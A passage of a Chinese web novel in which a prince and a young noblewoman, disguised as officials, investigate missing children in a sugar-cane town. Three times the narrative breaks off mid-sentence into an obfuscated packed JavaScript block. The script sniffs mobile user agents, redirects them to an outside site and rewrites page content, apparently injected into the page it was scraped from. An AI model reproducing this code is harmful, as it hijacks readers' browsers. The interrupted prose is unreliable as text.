“他们回来了？”萧征眉头一皱，发起急来：“那这一下午你们都躲哪儿偷懒去了？就让她一个病人照顾我？” 袁鸣委屈：“郡主自己要求的嘛，不让我们进来，我们也不好强求啊！再者说，昨天在庙里，殿下你不也是——”< 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“啊，”郭娑注意到众人的目光都下意识地聚集在她身上，不慌不忙，有条不紊地答道：“我听太医说，甘蔗汁性平，能清热生津，其髓与老姜同煨，有益气和中、温经散寒之效，对产后虚寒、气血不通导致的体虚有奇效。以经霜三年的甘蔗髓心为最佳，因其‘沉寒之性，温补之功更著’。太医虽说了是偏方，但我想，找来试试总没坏处。” 苏萦与萧征和袁鸣轮流打眼色，浮夸地惊叹道：“哦～～这么巧啊！” “这宫里的太医到底谁真见过经霜三年的甘蔗，怎么个个都要——”袁鸣的话还没说完，被苏萦和萧征在桌下轮番踢了一脚。 “这经霜三年的甘蔗，想必不易寻找，郭姑娘可有明确的目标？”萧征看向郭娑。 郭娑赧然一笑：“我先前也没有什么眉目。虽知道甘蔗盛产在岭南，可那里常年炎热，冬季温暖无霜，想必不合用；还好晋王府中有一长史，早年随姑父南征北战，见识的多，说曹州一带也盛产甘蔗，较岭南的甘蔗也丝毫不差。我便想着，左不过八九天的路程，我在京中待着无事，去碰碰运气也无妨。” “曹州？”苏萦倒来了兴趣：“我知道，那儿有全大朔最好的牡丹花！我园里有好几种花苗是从那儿运来的呢。” “不瞒郭姑娘，陛下的药引中，也正需要经霜三年的甘蔗，既如此，我们便可同路，一起去曹州看看。” 萧征虽朝着郭娑说话，倒觑着苏萦的脸色。见她没什么表示，这才将将放下心来。 临行前，众人陪着苏萦萧征去医馆把脉。郎中说：这位姑娘已经没事了，那位公子倒还要静养两天。 苏萦得意地回头朝萧征做了个鬼脸：“听见了吗那位公子，要好好静养两天哦！” 宗雀头和朱雀苕荣两个丫鬟先带了三份百草霜驾着小车回去了，把大车留给了他们。 苏萦看着她们装车准备起程，手偷偷地伸进衣袋里把那块墨锭摸了又摸，纠结到他们三个扬鞭启程了，还是决定自己带在身上，亲手交给爹才妥当。 包着金块的墨锭硬邦邦沉甸甸地硌在胸口，她联想到那夜埋伏在房中的歹人，越想越觉得害怕。 趁萧征他们去采买物资，她让蜜合也过去帮着拿拿东西，自己在街上游逛，焦虑地思考怎么能神不知鬼不觉地与父亲交接。 她一定是急得眼花了。前头摊位上那个裹着土布棉袄，缩着脖子驼着背，袖手跺脚站着卖炒货的老头儿，看着居然就很像自家爹爹。 横看竖看都很像。 怎么看怎么像。 苏萦小步踱过去，站到摊位前，试探着问： “老伯，有没有南瓜子啊？” 31. 看起来好好欺负啊！ 秀州城的人都知道，苏侯爷爱吃点小零嘴儿。不买现成的，亲自配料炒。炒的多了，不光自己吃，在离府不远的街口支起一个小摊来。 人们看着那饭碗大的小摊子撑起一个苏字招牌来，都笑。那小摊子还没这招牌大。摊主笑眯眯地，脸不红不白，说是苏侯爷亲自炒的，让他在此地分发，一文不取，给大伙尝个鲜。 总有那好意思的人，过来领了一份。很精致，那装炒货的木头盒子就值好几十文钱。而且苏侯爷手艺真不错，炒的很香。 苏侯爷不常在家，所以这炒货摊子并不日日摆出来。可秀州的百姓私下里再提起苏侯爷，还是戏称他为“炒货老爷”。 这个诨名，离家十年的“炒货小姐”是不知道的。 —— “嘿嘿，有，姑娘在此稍候。伯伯去给你拿，要多少啊？” 那老伯咧嘴一笑，苏萦心里就踏实了。 没有哪个卖炒货的镶得起一颗金牙。 “爹，爹！”她忙凑近，想直接把墨锭塞给他。可在那件粗笨的大棉袄上半天也没摸到口袋，两个年龄，身份，地位看起来截然不同的人在大街上挤到一起，搜身似的拍拍打打，转来转去，看起来十分滑稽。站在旁边的摊贩，都好奇地回头往这边看。 “哎呀，我着急！我跟你去后面拿！” 苏萦气急败坏地推着苏予夺进了后巷，迫不及待地掏出墨锭。苏予夺接了，笑嘻嘻地又掏出一个锦囊。 苏萦一见锦囊就泄了气，大声抱怨：“说三个还真是三个啊？你能不能先透露给我一点儿？” 苏予夺夸张地摇头。他裹在脖子胳膊都没法屈伸的厚棉袄里，一摇起头来身子都跟着晃，像个不倒翁。 “哎呀，烦死了！”苏萦气呼呼地一跺脚，一把从他手里抢过锦囊，转身就要走。 “等等，爹还有东西给你。”苏予夺叫住她，递给她一大一小两包东西。 苏萦掀开大包袱的一角，不解道：“你给我官服干什么？” “你们下一程不是要去齐鲁之地吗？他们那儿的人，见官就矮三分！穿着这个，好办事。” 苏萦觉得荒唐：“有还哥哥可是王爷！” “王爷比官大么？”苏予夺无辜地一摊手：“他们可不知道什么王不王爷的。你出身再贵重，手里有没有实权？跺一跺脚，能不能让他们小小的曹州抖三抖？” 苏萦不屑，左耳听右耳冒，又打开旁边的一个小布袋，眼睛这才亮了亮：“还真有南瓜子！” “我家大姑娘最喜欢的，爹怎么可能不备呢？” 苏萦心头一热，抱着这两样东西就跑：“晚点要被他们发现了，我走啦！”跑到巷口回头看，看不倒翁一样的爹爹还站在那里笑眯眯地朝她挥手。 若无其事地跑回货店门外，萧征等人正好从店里出来。 “拿的什么？”萧征上前，掀开包袱皮往里看了一眼，一下子变了脸色，忙把包袱盖严实，迅速环顾四周，凑近她悄声质：“你哪来的官服？” “我买的！” “这东西哪里有卖的？” “嗨！”苏萦神气起来，小手一挥：“没有拿钱办不了的事！” 蜜合走到苏萦身边，双手接过那包官服，抱在怀里。她手上原有的东西，袁鸣顺手就接了过去。 宝冉朝蜜合望了一眼。她刚才就注意到，刚才蜜合说是来帮着拿东西，却只拣了最轻的几件成衣，搭在手臂上。她那双手细嫩非常，末两根手指养着长指甲，和苏萦一样拿蔻丹染了的。到了车旁放下东西，赶忙涂上手膏，察觉到宝冉在一旁看着，便来让宝冉，宝冉瞄一眼郭娑，还是拒绝了。 苏萦也发现宝冉盯着蜜合看，从旁帮着解释：“蜜合是绣娘，做针线对手很有讲究，不能做粗活的。” 两边各自上了车，宝冉的眼睛还总粘在蜜合身上。这才是活脱脱一个副小姐，外出的打扮穿戴，与苏萦无甚差别，盈盈一握的腰肢，倒比苏萦还要纤细上一二分。一双含情眼，眼头圆润，眼尾下耷，眼眉也微微向下垂着，天生的低眉顺目。可一笑起来，神色便如她主子一般的俏丽精明。 做下人，也不是就非要过苦日子。 苏萦的话在宝冉耳边一荡而过。 萧征身体不适，先行上车等待，苏萦看着袁鸣装完车，轻轻拉开车帘，刚一探头，便呆在了原地。 车内，萧征正对着她坐在车座上闭目养神。他显然是精心整理过病容才上车的，只是精神不济，此刻那点强撑的清醒也已耗尽。他身上穿着一件雪白光洁的白貂皮袄，领口簇拥着他线条清晰的下颌，外罩一件色泽深沉、泛着幽紫光泽的暗玉紫狐皮大氅，更衬得他面色有一种近乎透明的苍白。一条蓬松柔软的银狐裘毯自腰间盖至腿脚，将他整个人都包裹在一片奢华已极的毛皮之中。 他微微倾斜着身子，头靠在微凉的车壁上，长睫低垂，在眼下投出淡淡的青影。眉头因身体不适而微蹙，薄唇失了血色，紧抿成一条隐忍的线。 真是……惹人怜爱，病若西子胜三分。 苏萦看得两眼发亮，心头那点因他老气横秋总是说教的怨气也瞬间烟消云散。她钻进车里，凑近了些，忍不住出声称赞，语气里满是惊艳与促狭：“怪不得话本里都要写郎君是病弱贵公子！有还哥哥，你以后要常这么穿！” 她话音落下，车内有一瞬的寂静。一旁的蜜合和袁鸣无所适从，不知道该不该先下车回避。 萧征浓密的眼睫剧烈地颤动了几下，艰难地缓缓掀开。那双平日沉静如寒潭的眸子，此刻因高热而蒙着一层水色迷离的光，看向她时，带着几分被打扰的茫然，和被她言语惊到的无措。 “胡，胡说什么…”他下意识出声维持兄长的威严，可病中气力不济，话还没说完就咳嗽起来，咳得如玉山将倾，满面绯红，半天才止住咳嗽接过袁鸣递过来的水壶喝了一口，有些狼狈地偏过头，避开她灼灼的目光，声音低哑微沉：“……抓紧赶路。” 那语气，与其说是命令，不如说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799181|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是强撑镇定的乞求。他重新闭上眼，试图隔绝外界。脸色也缓和过来，只在银狐裘的映衬下，透出一点极淡的、如同雪地落梅般的薄红。 看起来好好欺负啊！ “有还哥哥，你这样真漂亮，我能摸摸你吗？”苏萦情难自抑地痴痴向他伸出“魔爪”。 “…郡主！”蜜合无奈地拉了她一把。 “郡主，那个，我们还在呢…”马车开动，避无可避，袁鸣尴尬得手脚都没地方放。 萧征的病体是真的还未恢复，居然就在苏萦炽热的目光注视下红着脸盹着了。他一睡着，苏萦也觉得无趣，打开布袋给袁鸣和蜜合各分一把南瓜子。 车里气氛放松下来，苏萦趁所有人的注意力都不在自己身上，像学堂先生查考背诵时偷看小抄一样，悄悄在衣袋中把锦囊中的字条抽出来，藏在手心里用袖子掩上，偷眼迅速扫了一遍。 芙蓉阁，问珊瑚晚。 掌柜若色变，则伺机遗此箭头于其柜上。速离。 苏萦刚才抽字条的时候就摸到了，锦囊里有一个硬硬凉凉的东西，想必就是箭头了。 这芙蓉阁在哪儿，珊瑚晚又是什么东西呢？嘶—— 蜜合关切地小声问：“郡主，你怎么了？” “哦，我牙疼。”苏萦胡乱搪塞过去，继续冥思苦想：“嘶——” 萧征这一路上都得喝药，还强着苏萦和他一起喝。苏萦推说她都好了，他也不依，说要巩固巩固。药煎好了，热腾腾地倾出两碗，也不给冰糖和果脯了。 很难说不是在报郡主调戏之仇啊。袁鸣暗中腹诽。 苏萦愁眉苦脸地左看右看，知道躲不过，便豪气干云，视死如归地端起碗来与他的碗一碰：“干！” 碰的时候碗偷偷倾斜朝萧征的碗里扬了些，萧征的碗霎时就满了。 萧征笑笑也不点破，两人一同一饮而尽。 袁鸣悄悄地和蜜合说：“你说他们两个像不像——” 像喝交杯酒。 蜜合微微笑道：“郡主好像没那么觉得。” 殿下那么觉得了。 蜜合看着萧征被碗挡住的脸，露出的两只耳朵越来越红，可不见得是被药苦的。 两人每天一下车就找客店煎药，同苦共苦，难兄难妹。 有一天在车里，苏萦枕在蜜合腿上睡觉，迷迷糊糊地说梦话：“萧有还你快点儿好…” 袁鸣和蜜合的目光刷地转向萧征，萧征虽有些羞赧，但也心头一热，低下头轻笑一声。 岂料苏萦马上皱紧眉头，恨恨地又嘟囔出一句：“我不想陪你喝药啦！混蛋！” 袁鸣和蜜合憋笑憋得喘不过气，整个车厢简直都让他们两个抖起来了。 苏萦也被抖醒，揉了揉眼睛懵懵懂懂道：“你们笑什么呢？” 萧征的脸色黑如锅底，咬着后槽牙朝她阴恻恻地微笑：“放心，本王一定尽快痊愈，好让郡主早日脱离苦海——在这之前，这药，一副都少不了你的。” 32. “步贤弟，一起吧？” 马蹄声碎，踏破了锦糖镇清晨惯常的宁静。 锦糖镇，曹州东部一个以制糖和胭脂手工业闻名的大型集镇。此地盛产甘蔗，出产的甘蔗因甘甜多汁，被誉为中原北部的“甘蔗之王”。同时，此地又盛产花卉和色素原料，胭脂铺林立，新品迭出。 萧征一行风尘仆仆，在镇口最大的客栈前勒住了马。 “殿下，到了。”袁鸣的目光警惕地扫过略显萧条的街面。 萧征微微颔首，未多言语，一径跳下马车。苏萦则好奇地撩开车帘一角，打量着这座以制糖闻名的小镇，空气中似乎都隐约浮动着一丝甜腻，却又混杂着一种难以言喻的沉闷气息。 客栈所在的这条街，想必是镇上最繁华的一条街—— 苏萦趁没人注意她，快步往前走，迅速用目光在林立的店招中搜寻着“芙蓉阁”字样。 “未晚！”萧征的声音从身后叫住她：“别乱跑。” 安顿下来后，天色渐亮，街上的行人也多了。袁鸣便依萧征的安排，扮作寻常客商，晃悠到了镇上最热闹的茶馆。不过半壶茶的功夫，他便与邻座一位健谈的老者攀谈起来。 “老伯，咱们这锦糖镇的糖真是名不虚传啊，我来的时候就瞧见了，遍地郁郁葱葱，全是好甘蔗啊！” “那是自然，”老者抚着胡须得意道：“放眼整个大朔，锦糖镇的糖也是最好的！连着赢了十五年的朝廷遴选！这可是御供的糖，能是一般的糖吗？” “不一般，不一般！”袁鸣陪着笑连连摆手：“可是老伯啊，我有点好奇，咱们这既然出产御供的蔗糖，那这甘蔗地肯定是寸土寸金吧？”他凑近了那老者的耳朵，神神秘秘地低声问：“咱们镇上——有没有荒了三年…或者更长时间的甘蔗地啊？” 老者的脸色刷地变了。 “…你打听这个干什么？” “嗐！随便问问，随便问问。”袁鸣故作随意地一挥手：“我家主人，想包一块甘蔗地，自己种着玩玩儿，特意强调要自己垦荒，从头开始。可是我刚才来这儿一打眼，到处都齐刷刷地种满了，哪有闲地啊？我看您是本地人，又年长，一定知道的多…” 老者闻言，表情稍有缓和，却讳莫如深地朝他摆了摆手：“小伙子，不瞒你说，东头还真有块地，正好荒了有三年了。可是，那地邪性的很，碰不得！回去告诉你家主人，趁早死了这心吧！” “哦？老伯，这话怎么说？”袁鸣适时地表现出好奇，追问下去：“这地有什么古怪？我家主人那命可硬，从来不怕那些牛鬼蛇神的！” 这话说完，袁鸣在心里给萧征赔着笑抱了个拳。 “命硬？”老者冷笑一声：“这三年，觉得自己命硬的大有人在了！可但凡有人进到那地里去翻耕，当晚，镇上准会丢一个孩子！第二天，那孩子的虎头鞋或者拨浪鼓，就扔在地头…那就是威慑，是警告！”老者说着，脸上露出恐惧的神色：“都说地里头住了厉鬼，专拿小孩子出气呢！” —— 消息带回，萧征沉吟片刻。苏萦蹙眉：“瞎扯，这世上哪有鬼啊，定是有人故弄玄虚。” 萧征回望了她一眼，神情复杂。 “我前些年读过几卷民间风物志。”郭娑接口道：“典籍中确有记载，某些冤屈之地，阴气积聚，易生精怪。却不知这‘精怪’，所为何求。” “既然目标就在此地，我们前去看看便是。”萧征利落起身，回房取出了苏侯爷备下的官服。他甫一上身，竟意外地合适，将他本就清俊的容颜衬得更多几分不容置喙的威仪。他回头望望苏萦，心道她之前总借故搂他的腰，原来还偷偷量过他的尺寸。 官服内里，还夹带了一份事先盖好朱印的空白官凭。 “这也有得卖？”萧征狐疑地问苏萦。 “啊，当然了！”苏萦诧异了一瞬，待看清了他手上的东西，马上调整好表情，运筹帷幄似的端坐点头：“做戏要做全套，我这个人呢，向来周到的很。” “待我们回程时，你可得带我去捉了那江湖骗子，不然要惹出多大的祸事来。”萧征自己对镜调整好衣领，正正官帽。 “今日出了客栈，我便是钦天监的五官保章正步星辉。” “郭姑娘，你见识的多，劳你担任司天台记录官，负责勘查地理，记录异闻。” 郭娑欣然点头应下。 “未晚，” “在！”苏萦期待地昂起头。 “你就在镇上待着，让蜜合陪着你四处逛逛。” “吼？” 苏萦眉毛一挑，怒极反笑，阴阳怪气道：“啊，好好好。” 萧征心里一紧，忙找补道：“你要是真想跟着去——” “不必了不必了，我见识少。”苏萦当场回绝，不耐烦地摆摆手：“快去吧别误了正事，我就在镇上等着步大人郭大人的好消息。” 时间紧迫，萧征也不好再劝，便和郭娑一同直奔当地巡检司。 锦糖镇巡检司的牌匾有些斑驳，门口两个抱着腰刀的弓兵正无精打采地靠着墙根晒太阳。忽见一辆马车并几骑骏马径直停在衙前，下来几位气度不凡、衣着光鲜的男女，顿时一个激灵站直了身子。 袁鸣大步上前，声音沉稳：“京城来的大人，要见你们巡检。” 不过片刻，一位身着青色官服、腰间系着束带，年约四十、面色精干的汉子便快步迎出，脸上带着惊疑与恭谨混杂的神情。他目光扫过为首的萧征，立刻抱拳行礼：“下官锦糖镇巡检宋昆，不知各位上官驾到，有失远迎，恕罪恕罪！” 他的目光在萧征的官服和郭娑等人身上迅速掠过，心中已是波涛汹涌。京官为何会突然驾临他这个小小的巡检司？莫非，是为了那件让他头疼了三年却束手无策的案子？ 不由他再胡乱猜想，萧征将官凭一亮，神色肃穆：“本官奉钦天监之命，观测到曹州一带，尤其你锦糖镇，地气有异，疑有阴秽积聚，妨害子嗣安宁，特来勘查。” 宋巡检一听“钦天监”、“妨害子嗣”等字眼，脸色霎时白了，没想到正对上那块荒地和孩子失踪的诡事，简直吓得魂不附体，不疑有他，只连连作揖：“下官一定全力配合，全力配合大人！” 说是要全力配合，却不直接带着往那荒地里去，偏说置办下好酒好菜，一定要先好好地款待上官贵客。 萧征连连推辞，宋巡检却态度坚决，姿态也愈加谦恭，正两方相持不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799182|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，忽见远处又悠悠来了一辆马车，瞧着比“步大人”这辆更气派，不觉停下恭维，试探道：“敢问，这也是同步大人一同前来的贵客？” 萧征回头，心叫不好，未及解释，车马已到面前，蜜合先下车摆好车凳，掀开车帘，一个短小精悍的“男人”便利落地走下车来。 “哎哟步贤弟啊，你急什么，怎么不等我一起来呢？”那男子锦衣华服，料定身价不菲，笑着指向萧征，语气略带责怪之意。 郭娑一愣，听到她故意压低的嗓音，才辨出是苏萦。 苏萦不知用什么脂粉涂黑了脸，顺着面部走向画出男人粗犷立体的骨相，贴了浓眉短髯，一双厚鞋底垫高了个子，襕袍皂靴，一丝不苟，倒还真有几分官相。 只比他们晚到半柱香的功夫，就为她改小了这一身的衣裳？宝冉心中震悚，偷瞟向候在一旁云淡风轻的蜜合。 “步大人，这位是？”宋巡检诚惶诚恐。 “本官姓苏，在户部清吏司任职。”苏萦抢先一步开口，昂头傲慢地一拱手：“奉上官之命，协同钦天监查勘此地人口异动。” 她的男声清泠泠的，倒也真有些嗓音不够雄浑的男人是这么说话的。 郭娑心里发急，怕苏萦露馅误事，一瞄萧征，只见他表情玩味地从旁看着，正暗中品鉴着她的表演。 “宋巡检，烦请将镇上近三年的户籍黄册，以及所有失踪孩童的户帖资料，即刻取来。此外，安排一处静室，本官要逐一问询失踪孩童的家人。” “好好好，”没想到苏萦的表演还真糊弄过去，宋巡检点头如捣蒜，向身边人道：“快把那几家的当家人叫过来！” “欸？”苏萦眉头一皱：“找孩子的父亲过来有什么用啊？当爹的能知道孩子一天的行踪，有哪些行为喜好吗？叫女人过来，听懂了吗？女人！” “哦哦哦！”宋巡检福至心灵，与苏萦乌溜溜的眼睛一对视，两方各自以为心领神会似的，坏笑着互相点了点头。 “苏大人，咱们看黄册，何必急在这一天半天呢？”宋昆满面堆笑，看出“苏大人”是个爱玩的，便转而对着他下功夫，腰弯得更低了些，声音也透着一股亲热的黏糊劲儿：“下官备了好酒好菜，不如今日先在司中吃喝畅快，明日再办正事不迟！这穷乡僻壤，比不得京城，也就几味本地河鲜、新宰的羔羊还能入口，酒也是埋了十年的女儿红，专候诸位上官品鉴。诸位一路舟车劳顿，风尘仆仆，若不让下官尽这点心意，下官这心里，实在是惶恐不安呐！” 他话锋一转，眼神在萧征和苏萦之间逡巡，赔着万分的小心：“再者，那些粗鄙妇人，一听官召，只怕此刻正吓得在家里抖如筛糠，话都说不利索，平白耽误了大人的工夫。不如让她们缓上一夜，明日梳洗整齐，定了心神，再来回话，岂不更便宜？步大人、苏大人，您二位意下如何？一切，全凭二位大人示下。” “既如此——”苏萦眼珠一转，朝着萧征顽皮地一挑眉毛，平举手臂做了个“请”的手势：“步贤弟，一起吧？” 萧征心中苦笑一声，正眼都不愿瞧那谄媚的宋昆一眼，也只好硬着头皮迈步向前，配合地假惺惺抬手让道： “苏兄请。” 33. “苏大人是位好官。” 宋昆满脸堆笑，将萧征与苏萦让到上座，却示意下人将郭娑引向偏厅。苏萦见状，不解地指了指郭娑犹豫的背影。 宋昆赶忙躬身解释，语气带着理所当然的圆滑：“苏大人有所不知，咱们这边小地方的规矩，男人吃饭谈正事，女人和小孩子是不上主桌的，都在外头另备了席面，菜色都是一样的。” “哦？都一样？”苏萦眉头一挑，站起身，极自然地踮脚朝偏厅那边望了一眼，随即拿起筷子头隔空一点，语气天真地随口问：“葱烧海参就没有啊？” 她说着，大喇喇夹起一筷子海参尝了，随即一脸嫌弃地摆手：“欸！照京城‘八大楼’的手艺可差远了！谁吃这个？快快快，端下去给她们吃吧，别搁这儿占地方！” 宋昆见这京城来的，见过世面的官员口味如此刁钻，忙挥了挥手，让下人赶紧端下去。 酒桌上，宋巡检及几位作陪的乡绅轮番敬酒。蜜合手脚伶俐，递到苏萦手上的酒杯里早已偷换成了清水。萧征一面沉稳应酬，一面暗中饶有兴趣地欣赏着主仆二人在桌上桌下配合默契的戏法。 酒过三巡，苏萦像是突然想起什么，转向萧征，故意拿捏着上官的架子发难：“欸，步大人？本官细细想来，官阶似乎在你之上，你怎么坐着不动，不给本官敬酒啊？” “苏大人，请。”萧征从善如流地举杯，身体凑近的瞬间，却暗中精准地握住了苏萦又想偷换清水的手腕，将真正的酒杯抵在她唇边，眼中带着不容置疑的浅笑：“请。” 苏萦骑虎难下，只得勉强扯出假笑，硬着头皮一饮而尽。烈酒入喉，辣得她一个激灵，眼眶瞬间就红了。 待宋巡检再度过来敬酒时，苏萦连忙摆手，信口胡诌道：“哎呀宋巡检，本官实在不胜酒力。这才想起来，近日犯了风痹，脚趾头肿得像小红萝卜似的！今日若是大醉一场，明日怕是连官靴都穿不上了！宋巡检啊，理解理解！” “不过，本官给巡检保举一个人！”她话锋一转，毫不犹豫地将萧征推了出去，在他身前夸张地竖起大拇指：“我们步大人，可是这个——海量！宋巡检，今日务必陪好我们步大人，让他尽兴啊！” 说罢，她装模作样地拍了拍萧征的背，自己则脚底抹油，逃也似地溜回了房间。 齐鲁之地的酒文化果然名不虚传。主陪、副陪、三陪、四陪……几轮猛攻下来，萧征被灌得晕头转向，最后几乎是跌跌撞撞地被袁鸣架回了客房。 一进门，便见苏萦正在房中用小炉给他熬醒酒汤，昏黄的灯光下，蹲在炉边小小的一个。听到响动，她顽皮地转过头来朝他做鬼脸：“步大人回来了？” “…苏大人满意了？”他带着满身酒气，踉跄着朝她走过来，脸上是平日里绝不会显露的，带着侵略性的笑意，越挨越近：“把我喝成这副烂泥模样，苏大人…消气了吗？” 他半跪在她身前，几乎是平视着她，目光灼灼，带着醉意，毫不避讳地紧盯着她的脸。苏萦被他看得窘迫不已，把嘴唇舔了又舔，喉咙清了又清，浑身的不自在。 他鲜少看到她唇上不施胭脂的模样，目光便不由自主地追逐着，细细勾勒那柔和的唇形线条。 胭脂是甜的，眼泪是苦的，鲜血腥气，却又是另一种甜……那些属于前世的，关于她的混乱感官记忆，伴随着酒意忽隐忽现，若即若离。他本能地躲避着，极力压抑着内心深处翻涌而上的欲望。 滚烫的酒气扑在她脸上，她再也受不了他这样的注视，把汤碗往他手里一塞，红着脸头也不回地逃回了自己的房间：“汤你记得趁热喝！” 也顾不得萧征是不是还半跪在地上，满脸得逞的笑容，一双醉眼粘着她的身影。 “啊—！” 刚听见隔壁门板合上，一声短促的尖叫就紧随着从房间里传来。 萧征浑浑噩噩的酒意瞬间惊散，一个箭步窜起，瞬间已冲到走廊，正好迎上仓皇跑出的苏萦。他下意识一把将她拽至身后护住，急声问：“怎么了！” “我…我房里有个女人…”苏萦吓得脸色发白，在他背后缩成一团，语无伦次：“她…躲在我被窝里，没，没穿衣服…” 这时，宋昆不知从哪个角落急匆匆地跑了过来，脸上堆着暧昧又惶恐的笑：“哎呀苏大人！怎么了？是那娘们儿伺候得不好？我们这儿地方小，姑娘难免比不上京城的水灵…回去下官一定叫她干娘狠狠教训她！” “我不是那个意思！”苏萦气得红头胀脸，跺脚吼道：“我是真的要找女人问话！是正经问话！没有你想的那么腌臜！” 骂完，她深吸一口气，强行平复了一下情绪，调整好表情，端回“苏大人”的架子，用一种施恩般的口吻说道：“她…伺候得很好，本官很满意，要赏她呢。你不许叫妈妈罚她。” 她像是为了证明什么，又像是为了彻底堵住宋昆的嘴，心一横，朗声道：“真的，本官满意得很！我不光要她今晚陪我，我还要纳了她呢！你立刻让人去跟她们鸨母说，本官要给她赎身！” 打发走宋昆，她深吸一口气，仿佛鼓足了毕生的勇气，重新推门进了房间。萧征靠在门边的墙壁上，清晰地听到里面传来她压低声音、带着歉意的温柔话语： “姐姐，这个给你，你快些回去吧。别怕，我跟巡检说好了，回去妈妈不会罚你的。你来的时候穿的外衣放在哪儿了？我去帮你拿吧，外面天寒地冻的，多冷啊……” “奴家…奴家此生跟定了大人，一定好好伺候大人！”里屋传来女子砰砰的磕头声。 “别别别！姐姐，快起来！”苏萦的声音听起来有些手忙脚乱：“我那是说给他听的！我给你赎了身，你自去寻个安生地方，过自己的好日子就是了！” 那女子似乎难以置信，颤声问：“大人…不要奴家？” “我…我…”萧征站在门外，几乎能想象出苏萦此刻抓耳挠腮，绞尽脑汁想借口的模样，果然，里面不多时就传来她更显窘迫的声音：“我，我不能人道！别耽误了你的终身！” 萧征听到这句，嗤笑一声，醺醺的脑子回想起他们的前世。 她不能人道？ 呵，她精于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799183|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人道。 那些缠绵的，热烈的，酒醉后的牡丹花下，争吵后的温泉水中… 里屋的女子带着哭腔急切地表忠心：“大人！奴家愿意！奴家怎敢嫌弃大人……” “哎呀，嘘，嘘！姐姐你听我说！”房中声音更小，听不真切了。萧征大口喘息着，平复下心中火热的欲念。 过了一会儿，房门轻轻打开，苏萦一脸心力交瘁地走出来，看到倚在门边的萧征，瞪了他一眼，没好气地小声埋怨：“你就站在这儿干听着？刚才我那么尴尬，你也不从旁帮我说句话，替我解解围…” 萧征认真地端详着她，虽刻意画黑了脸、贴了胡子眉毛，却依旧难掩那双灵动眼眸中透出的稚气羞恼与完成善举后的一丝松快。他靠在门板上，欣慰又欣赏地由衷喟叹一声： “苏大人是位好官。” 他的声音因酒意有些沙哑，却异常清晰和真诚： “体恤民瘼，仁心仁术。” “步某，自愧不如。” 次日，在巡检和当地里正的引导下，萧征和郭娑总算来到了那片传说中的荒地。三年野蛮生长的甘蔗长得要插到天上去，既高且密，随风摇曳，发出沙沙声响，在一片沃野中显得格外突兀荒凉。许多镇民远远围着，指指点点，脸上皆是恐惧。 萧征目光沉静地扫过蔗林，又落到身后心绪不定的宋巡检身上，忽然下令：“袁鸣，去，砍几株甘蔗来，本官要看看此地所生之物，沾染了何等阴气！” “大人！不可！万万不可啊！”本就忧心忡忡跟在他们后面的老里正猛然跪地，涕泪横流，扑上来抱住萧征的腿：“激怒了厉鬼，孩子们就没了！求您开恩，开恩啊！” 他身后的镇民也跪倒一片，磕头哀求之声不绝于耳。 “大人，这——”袁鸣拿着镰刀犹豫不决。 “砍！”萧征态度坚决。 他心知，唯有“打草惊蛇”，才能“引蛇出洞”，让那“鬼”自己现身。 白天，他命人砍了几棵甘蔗，故意闹出动静，让全镇人都知道“京里来的大官”动了那块禁忌之地。恐慌像瘟疫般在镇上蔓延。 入夜，计划正式开始。镇上所有人家的小孩都被集中到巡检家宽敞的厢房，由袁鸣带着几名可靠的青壮和妇人严密看守，苏萦也正好找几个与失踪孩童关系要好的孩子问话。 “小朋友，叔叔这里有糖，你想不想要？”苏萦对着面前的小女孩循循善诱。 小孩子的脸上露出不屑的神色。 对啊，跑人家甘蔗之乡来给人糖了！苏萦一拍脑袋，转而从口袋中拿出一枚嵌珠宝的钿花来：“你看，叔叔这里有好看的花珠珠！你想不想要？” 萧征正好进屋来告诉她看好这群孩子，他要趁天黑带人去荒地里看看。 苏萦担心地拧起眉头，凑近萧征说悄悄话：“有还哥哥，你抓过鬼吗？” 我做过鬼。 萧征在心里苦涩地默然回应。 “放心吧，”他微笑着宽慰她：“我们一定平安回来。”